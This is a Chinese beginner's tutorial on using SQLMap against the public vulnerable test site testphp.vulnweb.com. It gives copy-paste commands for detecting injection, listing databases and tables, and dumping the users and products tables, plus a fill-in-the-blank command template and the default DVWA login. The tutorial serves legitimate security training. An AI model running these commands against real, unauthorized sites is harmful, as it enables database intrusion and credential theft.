news 2026/6/15 15:40:14

SQLMap 注入完整操作流程(新手通关手册)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQLMap 注入完整操作流程(新手通关手册)

一、前期准备

1. 工具环境

  • 工具:sqlmap - 中文汉化 - 1.8.1.6(运行目录:~/sqlmap-中文汉化-1.8.1.6
  • 运行命令前缀:python3 sqlmap.py
  • 系统环境:Kali Linux(终端提示符:┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6]

2. 测试靶场选择(关键避坑点)

靶场类型地址问题 / 优势
初始尝试(DVWA)http://192.168.1.4/dvwa缺点:PHPSESSID 会话易失效,sqlmap 被重定向到login.php,检测失败
最终成功(公开)http://testphp.vulnweb.com/artists.php?artist=1优势:无登录态、100% 有注入漏洞、外网可访问、支持完整数据提取

3. 靶场核心信息(提前知晓)

  • 后端数据库:MySQL ≥ 5.6
  • Web 服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40
  • 核心注入参数:GET 参数artist(URL 自带?artist=1
  • 可提取数据库:2 个(acuart业务库、information_schema系统库)
  • 关键表:acuart库下 8 张表(users用户表、products商品表为核心)

二、完整操作流程(按顺序执行,可直接复制)

步骤 1:验证连通性 + 检测注入点

操作目的:确认靶场可访问,检测artist参数是否可注入

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1

参数说明

  • -u:指定目标 URL(必须带?artist=1参数)
  • --batch:自动确认所有交互选项(无需手动回车)
  • --dbs:提取所有数据库列表
  • -v 1:显示基础日志,便于排查问题

预期结果:✅ 识别 4 种注入类型:布尔盲注、报错注入、时间盲注、UNION 联合查询

✅ 提取 2 个数据库:acuart(业务库)、information_schema(系统库)

✅ 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com

步骤 2:提取acuart数据库的所有表

操作目的:定位核心表(users/products

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1

参数说明

  • -D acuart:指定数据库(必须小写,与提取结果一致)
  • --tables:提取指定库的所有表

预期结果

plaintext

+-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | # 含真实商品数据 | users | # 用户表(靶场清空数据) +-----------+

步骤 3:提取users表的账号密码(脱裤尝试)

操作目的:尝试提取用户凭证(验证流程)

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1

参数说明

  • -T users:指定表名
  • -C username,password:指定提取字段(英文逗号分隔)
  • --dump:导出字段数据(核心 “脱裤” 操作)

预期结果:表结构存在但数据为空(靶场防护,非操作错误)

plaintext

Database: acuart Table: users [1 entry] +----------+----------+ | username | password | +----------+----------+ | <blank> | <blank> | +----------+----------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

步骤 4:提取products表的真实商品数据(验证流程)

操作目的:验证注入流程完整性(核心成功标志)

bash

运行

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1

预期结果:提取到 3 条真实商品数据

plaintext

Database: acuart Table: products [3 entries] +----+---------------------------------------------------+-------+ | id | name | price | +----+---------------------------------------------------+-------+ | 1 | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359 | | 2 | Web Camera A4Tech PK-335E | 10 | | 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | +----+---------------------------------------------------+-------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv

三、关键细节与避坑点(必看)

1. 靶场相关

  • 核心 URL 不可错:http://testphp.vulnweb.com/artists.php?artist=1(必须带?artist=1
  • 靶场性质:OWASP 官方公开靶场,合法合规使用
  • 数据特点:users表空(防护)、products表有真实数据(验证用)

2. 命令参数

  • 大小写敏感:-D acuartacuart必须小写,错写会提取失败
  • --batch不可省:避免手动输入打断流程
  • -v 1:基础日志(排查问题可改-v 2

3. 常见问题排查

问题现象排查方案
无法连接目标 URL复制 URL 到浏览器,确认能打开、网络通畅
提取数据为空(非 users 表)检查-D/-T/-C名称是否与前一步结果一致(无空格、无错别字)
被重定向到 DVWA 登录页重新登录 DVWA(账号admin/ 密码password),立即复制最新PHPSESSID

四、复盘总结(核心收获)

1. 完整注入链路

检测注入点提取数据库列表提取目标库表列表提取目标表字段数据导出数据

2. 核心命令速记(公式化,不用死记完整命令)

操作命令公式(填空即可)
检测 + 提库python3 sqlmap.py -u "【靶场URL】" --batch --dbs -v 1
提表python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 --tables -v 1
提数据python3 sqlmap.py -u "【靶场URL】" --batch -D 【库名】 -T 【表名】 -C 【字段】 --dump -v 1

3. 关键经验

  1. 新手优先选无登录态的公开靶场(如testphp.vulnweb.com),避开本地靶场配置坑
  2. 每步执行前,确认上一步结果(如先提库,再用库名提表)
  3. 数据为空≠操作失败,可能是靶场防护(换表验证即可)

补充(明天预习用)

✅ 重点练:SQLi Labs 第 21 关(Cookie 注入 + MD5 密文破解),流程会衔接今晚的内容,只新增 “密文解密” 步骤,不用额外记新命令~

✅ 复盘技巧:先按 “公式” 填参数,再复制执行,重点记 “流程逻辑” 而非 “完整命令”,练 2 遍就能记住。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/15 12:02:35

基于springboot的B站数据分析可视化系统

背景分析随着互联网视频平台的快速发展&#xff0c;B站&#xff08;哔哩哔哩&#xff09;作为国内领先的年轻文化社区&#xff0c;积累了海量用户行为数据。这些数据涵盖视频播放、弹幕互动、用户评论等多维度信息&#xff0c;蕴含巨大的商业价值和研究价值。传统的数据处理方式…

作者头像 李华
网站建设 2026/6/15 12:58:43

YOLO模型镜像支持Kubernetes集群部署

YOLO模型镜像支持Kubernetes集群部署 在智能制造、自动驾驶和智能安防等场景中&#xff0c;实时目标检测的需求正以前所未有的速度增长。摄像头数量激增、视频流并发提升、响应延迟要求严苛——这些挑战让传统的单机部署方式捉襟见肘。一个运行在开发者笔记本上的YOLO模型或许…

作者头像 李华
网站建设 2026/6/15 13:00:12

如何快速上手Sketch国际化:新手必备的完整指南

还在为Sketch界面语言不熟悉而苦恼吗&#xff1f;SketchI18N插件让全球设计师都能用母语轻松使用Sketch&#xff01;这款强大的国际化工具支持7种主流语言&#xff0c;帮助您跨越语言障碍&#xff0c;提升设计效率。 【免费下载链接】SketchI18N Sketch Internationalization P…

作者头像 李华
网站建设 2026/6/15 12:05:25

HandyControl终极指南:快速构建现代化WPF界面

HandyControl终极指南&#xff1a;快速构建现代化WPF界面 【免费下载链接】HandyControl HandyControl是一套WPF控件库&#xff0c;它几乎重写了所有原生样式&#xff0c;同时包含80余款自定义控件 项目地址: https://gitcode.com/NaBian/HandyControl 还在为WPF界面开发…

作者头像 李华
网站建设 2026/6/15 15:34:08

Keil4开发环境搭建:从下载到运行的完整示例

从零开始搭建STM32开发环境&#xff1a;Keil4安装与首个工程实战 你是不是也曾在打开电脑准备写第一行嵌入式代码时&#xff0c;却被“找不到编译器”、“No target connected”这类错误拦在门外&#xff1f;别急——这几乎是每个嵌入式新手都会经历的“入门劫”。 今天我们就…

作者头像 李华
网站建设 2026/6/15 13:15:38

5步打造智能避障JetBot:NVIDIA碰撞避免模型终极指南

一键部署避障模型到JetBot 【免费下载链接】jetbot An educational AI robot based on NVIDIA Jetson Nano. 项目地址: https://gitcode.com/gh_mirrors/je/jetbot 想知道如何让JetBot更聪明地避开障碍吗&#xff1f;亲爱的开发者朋友&#xff0c;今天我将带你开启一段从…

作者头像 李华